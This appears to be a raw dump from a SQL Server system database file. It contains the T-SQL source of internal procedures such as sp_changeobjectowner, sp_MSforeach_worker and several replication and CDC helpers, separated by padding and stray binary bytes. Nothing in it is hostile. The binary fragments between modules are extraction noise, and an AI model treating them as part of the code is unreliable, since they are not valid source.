!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%`V!<=#
0BǢ0g 8create procedure sys.sp_changeobjectowner
	@objname	nvarchar(776),		-- may be "[owner].[object]"
	@newowner	sysname				-- must be entry from sysusers
as
	Set nocount      on
	Set ansi_padding on
	declare	@objid		int,
			@newuid		int,
			@ret		int,
			@oldowner	sysname,
			@stmtS		nvarchar(4000)

	-- CHECK PERMISSIONS: Because changing owner changes both schema and
	--	permissions, the caller must be one of:
	-- (1) db_owner
	-- (2) db_ddladmin AND db_securityadmin
    if (is_member('db_owner') = 0) and
		(is_member('db_securityadmin') = 0 OR is_member('db_ddladmin') = 0)
    begin
		EXEC %%System().AuditEvent(ID = 1094864724, Success = 0, TargetLoginName = NULL, TargetUserName = @newowner, Role = NULL, Object = @objname, Provider = NULL, Server = NULL)
		raiserror(15247,-1,-1)
		return (1)
    end
    else
    begin
		EXEC %%System().AuditEvent(ID = 1094864724, Success = 1, TargetLoginName = NULL, TargetUserName = @newowner, Role = NULL, Object = @objname, Provider = NULL, Server = NULL)
    end

	if parsename(@objname, 1) is null
	begin
		raiserror(15253, -1, -1, @objname)
		return (1)
	end

	BEGIN TRANSACTION

	-- RESOLVE OBJECT NAME (CANNOT BE A CHILD OBJECT: TRIGGER/CONSTRAINT) --
	select @objid = object_id(@objname, 'local')
	if not (@objid is null)
	begin
		EXEC %%Object(MultiName = @objname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
		if (@@error <> 0)	-- lock failed
			select @objid = null
	end
	if (@objid is null) OR
		(select parent_obj from sysobjects where id = @objid) <> 0 OR
		ObjectProperty(@objid, 'IsSystemTable') = 1 OR
		parsename(@objname, 3) is not null OR
		parsename(@objname, 4) is not null OR
		exists (select * from sys.objects where object_id = @objid and schema_id in (3,4))  OR -- INFORMATION_SCHEMA, sys
		-- Check for Dependencies: No RENAME or CHANGEOWNER of OBJECT when exists:
		EXISTS (SELECT * FROM sysdepends d WHERE
			d.depid = @objid		-- A dependency on this object
			AND d.deptype > 0		-- that is enforced
			AND @objid <> d.id		-- that isn't a self-reference (self-references don't use object name)
			AND @objid <>			-- And isn't a reference from a child object (also don't use object name)
				(SELECT o.parent_obj FROM sysobjects o WHERE o.id = d.id)
			)
	begin
		-- OBJECT NOT FOUND
		COMMIT TRANSACTION
		raiserror(15001,-1,-1,@objname)
		return 1
	end

	-- object's schema name must be the same as the schema owner's name
	if not exists (select so.name 
		from sys.objects so
		join sys.schemas ss on so.schema_id = ss.schema_id 
		join sys.database_principals su on ss.principal_id = su.principal_id
		where object_id = @objid and so.principal_id is null and ss.name = su.name)
	begin
		-- OBJECT NOT FOUND
		COMMIT TRANSACTION
		raiserror(15001,-1,-1,@objname)
		return 1
	end
	
	select @oldowner = ssch.name from sys.schemas ssch join sys.objects so on (so.schema_id = ssch.schema_id) where object_id = @objid
	-- SHARE LOCK OLD SCHEMA, PREVENT DROP OF THE OWNER WHILE TXN ACTIVE --
		-- (rollback could cause phantom owner) --
	EXEC %%ObjectSchema (Name = @oldowner).Lock(Exclusive = 0) -- should succeed due to object lock above

	-- SHARE LOCK NEW SCHEMA --
	EXEC %%ObjectSchema (Name = @newowner).Lock(Exclusive = 0) -- may fail, check below anyway

	-- RESOLVE NEW OWNER NAME (ATTEMPT ADDING IMPLICIT ROW FOR NT NAME) --
    --  Disallow aliases, and public cannot own objects --
	if @@error = 0 -- lock success, indicate new owner may exist, verify further
		select @newuid = schema_id from sys.schemas where name = @newowner
							and schema_id not in (3,4) -- INFORMATION_SCHEMA, sys
 
    if @newuid is null -- indicate lock failed
    begin
		EXEC @ret = sys.sp_MSadduser_implicit_ntlogin @newowner
		if (@ret = 0) -- success
			select @newuid = schema_id from sys.schemas where name = @newowner
			-- Member locked by sp_MSadduser_implicit_ntlogin
    end

    if @newuid is null OR
		-- the schema name and its owner name must be the same
		not exists (select ss.name
			from sys.schemas ss
			join sys.database_principals su on ss.principal_id = su.principal_id
			where ss.name = @newowner and ss.name = su.name)
    begin
		-- Implicit login added above is not rolled back
		-- This is same as SQL 2000
		COMMIT TRANSACTION
		raiserror(15411, -1, -1, @newowner)
		return (1)
    end

	select @stmtS = 'ALTER SCHEMA '
	select @stmtS = @stmtS + quotename(@newowner)
	select @stmtS = @stmtS + ' TRANSFER '
	if parsename(@objname, 2) is not null
		select @stmtS = @stmtS + quotename(parsename(@objname, 2)) + '.'
	select @stmtS = @stmtS + quotename(parsename(@objname, 1))

	exec (@stmtS)
	IF @@ERROR <> 0
	BEGIN
		-- Nested transaction is used by alter schema statement
		COMMIT TRANSACTION
		return (1)
	END

	COMMIT TRANSACTION
	-- WARNING AFTER THE OWNER TRANSFER --
	raiserror(15477,-1,-1)
	return (0)	-- sp_changeobjectowner
0
p 8
create function [sys].[fn_cdc_get_jobid]()
returns @cdc_job table
(
	job_id uniqueidentifier,
	run_date int,
	run_time int
)
with execute as 'dbo'
as
begin
		
   	if (object_id('msdb.dbo.cdc_jobs') is not null)
    begin
    
        insert into @cdc_job
        select c.job_id, s.run_date, s.run_time 
		from msdb.dbo.cdc_jobs c join msdb.dbo.sysjobhistory s
		 on c.job_id = s.job_id
		where c.database_id = db_id()
		 and c.job_type = N'capture'
		 and s.step_id = 1
		 
	end
	else
	begin
	
		insert into @cdc_job values(null, null, null)
		
	end
	
	return
				    
end
0\u 8create procedure sys.sp_MSgettranlastupdatedtime(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscription_type int
    )
as
begin
    set nocount on
    declare @last_updated_time nvarchar(40)
    
    select @last_updated_time = null

    if object_id('MSreplication_subscriptions') is null
    begin
        select 'last updated time' = @last_updated_time
        raiserror(21384, 16, -1)        
        return 1
    end
    
    -- For subscriptions sharing an agent, 
    -- the control may not be passing in the publication
    -- name. 
    select @last_updated_time = sys.fn_replformatdatetime(time)
      from MSreplication_subscriptions    
     where upper(@publisher) = upper(publisher)
       and @publisher_db = publisher_db
       and (((@publication is null or @publication = N'') and independent_agent = 0)
            or (@publication = publication))
       and @subscription_type = subscription_type

    select 'last updated time' = @last_updated_time

    if @last_updated_time is null
    begin
        raiserror(21384, 16, -1)
        return 1
    end
    return 0
end
0Gn 8
create procedure sys.sp_MStablechecks
	@tablename nvarchar(517), @flags int = null
as
   /*** @flags added for DaVinci uses.  If the bit isn't set, use 6.5 ***/
   /*** sp_MStablechecks '%s'                                        ***/

	declare @id int
	select @id = object_id(@tablename)
	if (@id is null) begin
		RAISERROR (15001, -1, -1, @tablename)
		return 1
	end

	/* @flags is for daVinci. */
	if (@flags is null)
		select @flags = 0

	/* We'll put out the check text if it's all in one row (most likely); otherwise leave it */
	/* blank for refetching in its entirety via sp_helptext, unless @flags wants it anyway. */
	select object_name(t.id),
		case when (@flags & 1 <> 0 or not exists (select * from dbo.syscomments where id = t.id and colid = 2))
				then t.text else null end,
		c.status & (convert(int, 0x00200000) | convert(int, 0x00020000) | convert(int, 0x00004000)),
      OBJECTPROPERTY( t.id, N'CnstIsDisabled' )
	from dbo.syscomments t, dbo.sysconstraints c
	where t.id = c.constid and c.id = @id and c.status & 0x0f = 4
		and (@flags & 1 <> 0 or t.colid = 1)
	order by object_name(t.id), t.colid
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`\	<>$
0d_k0ߑ@ `8
/*
 * This is the worker proc for all of the "for each" type procs.  Its function is to read the
 * next replacement name from the cursor (which returns only a single name), plug it into the
 * replacement locations for the commands, and execute them.  It assumes the cursor "hCForEach***"
 * has already been opened by its caller.
 * worker_type is a parameter that indicates whether we call this for a database (1) or for a table (0)
 */
create proc sys.sp_MSforeach_worker
	@command1 nvarchar(2000), @replacechar nchar(1) = N'?', @command2 nvarchar(2000) = null, @command3 nvarchar(2000) = null, @worker_type int =1
as

	create table #qtemp (	/* Temp command storage */
		qnum				int				NOT NULL,
		qchar				nvarchar(2000)	COLLATE database_default NULL
	)

	set nocount on
	declare @name nvarchar(517), @namelen int, @q1 nvarchar(2000), @q2 nvarchar(2000)
   declare @q3 nvarchar(2000), @q4 nvarchar(2000), @q5 nvarchar(2000)
	declare @q6 nvarchar(2000), @q7 nvarchar(2000), @q8 nvarchar(2000), @q9 nvarchar(2000), @q10 nvarchar(2000)
	declare @cmd nvarchar(2000), @replacecharindex int, @useq tinyint, @usecmd tinyint, @nextcmd nvarchar(2000)
   declare @namesave nvarchar(517), @nametmp nvarchar(517), @nametmp2 nvarchar(258)

	declare @local_cursor cursor
	if @worker_type=1	
		set @local_cursor = hCForEachDatabase
	else
		set @local_cursor = hCForEachTable
	
	open @local_cursor
	fetch @local_cursor into @name

	/* Loop for each database */
	while (@@fetch_status >= 0) begin
		/* Initialize. */

      /* save the original dbname */
      select @namesave = @name
		select @useq = 1, @usecmd = 1, @cmd = @command1, @namelen = datalength(@name)
		while (@cmd is not null) begin		/* Generate @q* for exec() */
			/*
			 * Parse each @commandX into a single executable batch.
			 * Because the expanded form of a @commandX may be > OSQL_MAXCOLLEN_SET, we'll need to allow overflow.
			 * We also may append @commandX's (signified by '++' as first letters of next @command).
			 */
			select @replacecharindex = charindex(@replacechar, @cmd)
			while (@replacecharindex <> 0) begin

            /* 7.0, if name contains ' character, and the name has been single quoted in command, double all of them in dbname */
            /* if the name has not been single quoted in command, do not doulbe them */
            /* if name contains ] character, and the name has been [] quoted in command, double all of ] in dbname */
            select @name = @namesave
            select @namelen = datalength(@name)
            declare @tempindex int
            if (substring(@cmd, @replacecharindex - 1, 1) = N'''') begin
               /* if ? is inside of '', we need to double all the ' in name */
               select @name = REPLACE(@name, N'''', N'''''')
            end else if (substring(@cmd, @replacecharindex - 1, 1) = N'[') begin
               /* if ? is inside of [], we need to double all the ] in name */
               select @name = REPLACE(@name, N']', N']]')
            end else if ((@name LIKE N'%].%]') and (substring(@name, 1, 1) = N'[')) begin
               /* ? is NOT inside of [] nor '', and the name is in [owner].[name] format, handle it */
               /* !!! work around, when using LIKE to find string pattern, can't use '[', since LIKE operator is treating '[' as a wide char */
               select @tempindex = charindex(N'].[', @name)
               select @nametmp  = substring(@name, 2, @tempindex-2 )
               select @nametmp2 = substring(@name, @tempindex+3, len(@name)-@tempindex-3 )
               select @nametmp  = REPLACE(@nametmp, N']', N']]')
               select @nametmp2 = REPLACE(@nametmp2, N']', N']]')
               select @name = N'[' + @nametmp + N'].[' + @nametmp2 + ']'
            end else if ((@name LIKE N'%]') and (substring(@name, 1, 1) = N'[')) begin
               /* ? is NOT inside of [] nor '', and the name is in [name] format, handle it */
               /* j.i.c., since we should not fall into this case */
               /* !!! work around, when using LIKE to find string pattern, can't use '[', since LIKE operator is treating '[' as a wide char */
               select @nametmp = substring(@name, 2, len(@name)-2 )
               select @nametmp = REPLACE(@nametmp, N']', N']]')
               select @name = N'[' + @nametmp + N']'
            end
            /* Get the new length */
            select @namelen = datalength(@name)

            /* start normal process */
				if (datalength(@cmd) + @namelen - 1 > 2000) begin
					/* Overflow; put preceding stuff into the temp table */
					if (@useq > 9) begin
						close @local_cursor
						if @worker_type=1	
							deallocate hCForEachDatabase
						else
							deallocate hCForEachTable
							
						RAISERROR(55555, 16, 1); -- N'sp_MSforeach_worker assert failed:  command too long'
						return 1
					end
					if (@replacecharindex < @namelen) begin
						/* If this happened close to beginning, make sure expansion has enough room. */
						/* In this case no trailing space can occur as the row ends with @name. */
						select @nextcmd = substring(@cmd, 1, @replacecharindex)
						select @cmd = substring(@cmd, @replacecharindex + 1, 2000)
						select @nextcmd = stuff(@nextcmd, @replacecharindex, 1, @name)
						select @replacecharindex = charindex(@replacechar, @cmd)
						insert #qtemp values (@useq, @nextcmd)
						select @useq = @useq + 1
						continue
					end
					/* Move the string down and stuff() in-place. */
					/* Because varchar columns trim trailing spaces, we may need to prepend one to the following string. */
					/* In this case, the char to be replaced is moved over by one. */
					insert #qtemp values (@useq, substring(@cmd, 1, @replacecharindex - 1))
					if (substring(@cmd, @replacecharindex - 1, 1) = N' ') begin
						select @cmd = N' ' + substring(@cmd, @replacecharindex, 2000)
						select @replacecharindex = 2
					end else begin
						select @cmd = substring(@cmd, @replacecharindex, 2000)
						select @replacecharindex = 1
					end
					select @useq = @useq + 1
				end
				select @cmd = stuff(@cmd, @replacecharindex, 1, @name)
				select @replacecharindex = charindex(@replacechar, @cmd)
			end

			/* Done replacing for current @cmd.  Get the next one and see if it's to be appended. */
			select @usecmd = @usecmd + 1
			select @nextcmd = case (@usecmd) when 2 then @command2 when 3 then @command3 else null end
			if (@nextcmd is not null and substring(@nextcmd, 1, 2) = N'++') begin
				insert #qtemp values (@useq, @cmd)
				select @cmd = substring(@nextcmd, 3, 2000), @useq = @useq + 1
				continue
			end

			/* Now exec() the generated @q*, and see if we had more commands to exec().  Continue even if errors. */
			/* Null them first as the no-result-set case won't. */
			select @q1 = null, @q2 = null, @q3 = null, @q4 = null, @q5 = null, @q6 = null, @q7 = null, @q8 = null, @q9 = null, @q10 = null
			select @q1 = qchar from #qtemp where qnum = 1
			select @q2 = qchar from #qtemp where qnum = 2
			select @q3 = qchar from #qtemp where qnum = 3
			select @q4 = qchar from #qtemp where qnum = 4
			select @q5 = qchar from #qtemp where qnum = 5
			select @q6 = qchar from #qtemp where qnum = 6
			select @q7 = qchar from #qtemp where qnum = 7
			select @q8 = qchar from #qtemp where qnum = 8
			select @q9 = qchar from #qtemp where qnum = 9
			select @q10 = qchar from #qtemp where qnum = 10
			truncate table #qtemp
			exec (@q1 + @q2 + @q3 + @q4 + @q5 + @q6 + @q7 + @q8 + @q9 + @q10 + @cmd)
			select @cmd = @nextcmd, @useq = 1
		end /* while @cmd is not null, generating @q* for exec() */

		/* All commands done for this name.  Go to next one. */
		fetch @local_cursor into @name
	end /* while FETCH_SUCCESS */
	close @local_cursor
	if @worker_type=1	
		deallocate hCForEachDatabase
	else
		deallocate hCForEachTable
		
	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Q	<%
	10GU@ /8--
-- Name: sp_hadr_validate_replica_host_as_publisher
--
-- Descriptions: Validation checks are performed to verify that the
--               contacted SQL Server instance is a suitable publisher
--				 for the named database. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success, 1 on failure; on failure errors are raised
--
-- Security: private.
--
create procedure sys.sp_hadr_validate_replica_host_as_publisher
(
	@publisher_linked_server sysname,
    @original_publisher sysname,
    @publisher_db sysname,
	@replica_server_name sysname
)
as
begin

	set nocount on

	declare 
        @retcode int,
		@retval int,
		@drop_linked_server bit

	set @retval = 0;
	set @drop_linked_server = 0
		
    -- Verify that the server is configured for replication
    --
	exec @retcode = sys.sp_hadr_verify_configured_for_repl @replica_server_name, @publisher_db,
		@publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end		
    
    -- Verify that the original publisher and the server both share the same
    -- distributor 
    --
	exec @retcode = sys.sp_hadr_verify_publisher_at_distributor @replica_server_name, @publisher_db,
		@publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end		
        
    -- Verify that the server is a replication publisher
    --
    exec @retcode = sys.sp_hadr_verify_replication_publisher @replica_server_name, @publisher_db,
        @publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end	
                
    -- Verify that the published database subscribers of the original publisher are remote
    -- servers of the server
    --
    exec @retcode = sys.sp_hadr_verify_subscribers_at_publisher @original_publisher, @replica_server_name, 
        @publisher_db, @publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end	
 
    return @retval
end
0 h@ i8create procedure sys.sp_MSupdate_mqserver_subdb
as
begin
    if exists (select * from dbo.MSsubscription_agents
        where queue_id IS NOT NULL and queue_id != N'mssqlqueue' and queue_server IS NULL)
    begin
        --
        -- we have entries for active Queued subscriptions using MSMQ that need upgrade
        --
        declare @queue_server sysname
                ,@publisher sysname
                ,@publisher_db sysname
                ,@publication sysname

        DECLARE hC CURSOR LOCAL FAST_FORWARD FOR 
            select publisher, publisher_db, publication
            from dbo.MSsubscription_agents
            where queue_id IS NOT NULL 
                and queue_id != N'mssqlqueue' 
                and queue_server IS NULL

        OPEN hC
        FETCH hC INTO @publisher, @publisher_db, @publication
        WHILE (@@fetch_status != -1)
        BEGIN
            --
            -- the table MSsubscription_properties has to exist;
            -- prepare the queue server name from distributor name
            -- strip the instance name if necessary
            --
            select @queue_server = ISNULL(distributor, @@servername)
            from dbo.MSsubscription_properties
            where UPPER(publisher) = UPPER(@publisher) and
                        publisher_db = @publisher_db and
                        publication = @publication

            if (charindex(N'\', @queue_server) > 0)
                select @queue_server = substring(@queue_server, 1, charindex(N'\', @queue_server) - 1)

            --
            -- set the queue_server for this entry
            --
            update dbo.MSsubscription_agents
            set queue_server = @queue_server
            where UPPER(publisher) = UPPER(@publisher) and
                        publisher_db = @publisher_db and
                        publication = @publication

            --
            -- get next entry
            --
            FETCH hC INTO @publisher, @publisher_db, @publication
        END
        CLOSE hC
        DEALLOCATE hC
    end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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binary(128) output,
	@missingcolcount int output
as
	set nocount on

	declare @maxcolid int
	declare @idx int

	select @maxcolid= max(column_id) from sys.columns where object_id = @objid
	if @maxcolid is null return 1

	set @missingbm= null
	set @missingcolcount= 0
	set @idx= 1

	while @idx <= @maxcolid
	begin
		if not exists (select * from sys.columns where object_id = @objid and column_id = @idx)
		begin
			exec sys.sp_MSsetbit
					@bm= @missingbm output,
					@coltoadd= @idx

			set @missingcolcount= @missingcolcount + 1
		end

		set @idx= @idx + 1
	end

	return 0
0 &
8
create procedure sys.sp_MSisallreplcolpk 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
)
as
begin
    if (@publishertype = 1)
    begin
        -- mssqlserver publisher
        declare @pkindid int, @indkey int, @replcol int, @objname sysname, @tabid int

        select @tabid = objid from dbo.sysarticles where artid = @artid
        if exists( select * from sys.objects where object_id = @tabid and type = 'V' )
        begin
            select @pkindid = 1
        end
        else
        begin
            select @pkindid = indid from dbo.sysindexes where id = @tabid and status & 2048 <> 0
        end
        select @indkey = 1
        select @objname = QUOTENAME(schema_name(OBJECTPROPERTY(@tabid, 'SchemaId'))) collate database_default + N'.' collate database_default + QUOTENAME(object_name( @tabid )) collate database_default 
        while @indkey <= 16 and index_col( @objname, @pkindid, @indkey ) is not null
        begin
            if not exists (select sac.colid from sys.columns sc join dbo.sysarticlecolumns sac on sc.column_id = sac.colid 
                        where sac.artid = @artid and sc.object_id = @tabid and sc.name = index_col( @objname, @pkindid, @indkey ) )
                break
            else
                select @indkey = @indkey + 1
        end
        select @replcol = count(colid) from sysarticlecolumns where artid = @artid
        if @replcol = @indkey - 1 
            return 1
    end
    else if (@publishertype = 2)
    begin
        -- heterogeneous publisher
        declare @pkcount  int
                    ,@colcount int

        SELECT @colcount = COUNT(*)
        FROM IHcolumns
        WHERE @artid = article_id
        SELECT @pkcount = COUNT(*)
        FROM IHcolumns ihc, IHpublishercolumns ihpc, IHpublishercolumnconstraints ihpcc,
                        IHpublisherconstraints ihpcn, IHarticles iha
        WHERE ihpcn.publisher_id = iha.publisher_id
            and    ihpcn.table_id = iha.table_id
            and    ihc.publishercolumn_id = ihpc.publishercolumn_id
            and    ihpc.publishercolumn_id = ihpcc.publishercolumn_id
            and    ihpcn.publisherconstraint_id = ihpcc.publisherconstraint_id
            and    iha.article_id = @artid
            and    ihpcn.type = 'PRIMARYKEY'
        if @pkcount = @colcount
            return 1
    end
    else
    begin
        raiserror(21402, 16, 16, '@publishertype')
    end
    -- return otherwise
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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appings(
		LoginName  nvarchar(128) NULL,
		DBName     nvarchar(128) NULL,
		UserName   nvarchar(128) NULL,
		AliasName  nvarchar(128) NULL
	)

	/*
	 * @flags bits:
	 *		0x01	- current db only
	 */
	/*
	 * Added @dbname so dbo can see everyone in current database.
	 * Use hacky 4.21 syntax so it will run there, instead of a case..when.
	 */
	declare @checkmultilogin int
	select @checkmultilogin = 1
	if ((@flags & 0x01 <> 0) and user_id() = 1)
		select @checkmultilogin = 0

	declare @logincount int
	select @logincount = 0
	if (@loginname is not null)
		select @logincount = count(*) from dbo.syslogins where loginname = @loginname

	/* Gotta be sa or dbo to see other than just current login. */
	declare @numlogins int, @whereloginname nvarchar(258), @name nvarchar(258), @retval int
	if (@loginname is null)
		select @numlogins = 2
	else
		select @numlogins = count(*) from dbo.syslogins where loginname = @loginname

	if (@numlogins = 0) begin
		RAISERROR (15007, -1, -1, @loginname)		/* Login not found */
		return 1
	end
	if (@checkmultilogin <> 0) begin
      /* We do not want to allow everybody to execute this SP */
		if (is_member(N'db_ddladmin') <> 1 and is_member(N'db_owner') <> 1 and is_member(N'db_accessadmin') <> 1 and is_member(N'db_securityadmin') <> 1 and (@numlogins > 1 or suser_sid() <> suser_sid(@loginname))) begin
			RAISERROR (14301, -1, -1, N'')				/* Only sa can see other than the current login */
			return 1
		end
	end
	if (@loginname is not null)
		select @whereloginname = N' and loginname = ' + QUOTENAME(@loginname, '''')
   else
      select @whereloginname = N' '

	/*
	 * This proc returns a result set with one or more rows for each database for which a login is a user or aliased to one.
	 * If loginname is specified, the results are limited to that login.  First load a temp table with all logins that are
	 * in a db, then add those which aren't mapped to any db.
	 */
	if (@flags & 0x01 <> 0) begin
		INSERT #loginmappings select l.loginname, db_name(), u.name, null from master.dbo.syslogins l, dbo.sysusers u where l.sid = u.sid and l.loginname is not NULL
		/*
		 * We only allow multi-db on a 6.x server because dynamic exec() didn't exist before then,
		 * hence there is no way to loop thru every database.  This is caught in SQLDMO so no
		 * need for error message here; we'll just return no result sets.
		 */
	end else begin
		exec @retval = sys.sp_MSforeachdb
			N'use [?] INSERT #loginmappings select l.loginname, db_name(), u.name, null from master.dbo.syslogins l, dbo.sysusers u where l.sid = u.sid and l.loginname is not NULL'
		if (@retval <> 0)
			return 1
		insert #loginmappings select l.loginname, null, null, null from master.dbo.syslogins l where l.loginname not in (select LoginName from #loginmappings) and l.loginname is not NULL
	end

	/*
	 * Now bring them out by loginname, each in its own result set.
	 * If this is for all logins, we'll return all logins; if for curdb,
	 * only those in #loginmappings (i.e. only those mapped in curdb).
	 */
	exec(N'declare hCForEachLogin cursor global for select loginname from master.dbo.syslogins where loginname is not NULL ' + @whereloginname + N' order by loginname')
	if (@@error = 0)
		open hCForEachLogin
	if (@@error <> 0)
		return @@error
	fetch hCForEachLogin into @name
	while (@@fetch_status >= 0) begin
      /* Use '=' instead of 'LIKE' in comparision, so we can handle wide card character correctly */
		if ((@flags & 0x01 = 0) or exists (select * from #loginmappings where LoginName = @name))
			select * from #loginmappings where LoginName = @name
		fetch hCForEachLogin into @name
	end /* FETCH_SUCCESS */
	close hCForEachLogin
	deallocate hCForEachLogin
	return @@error
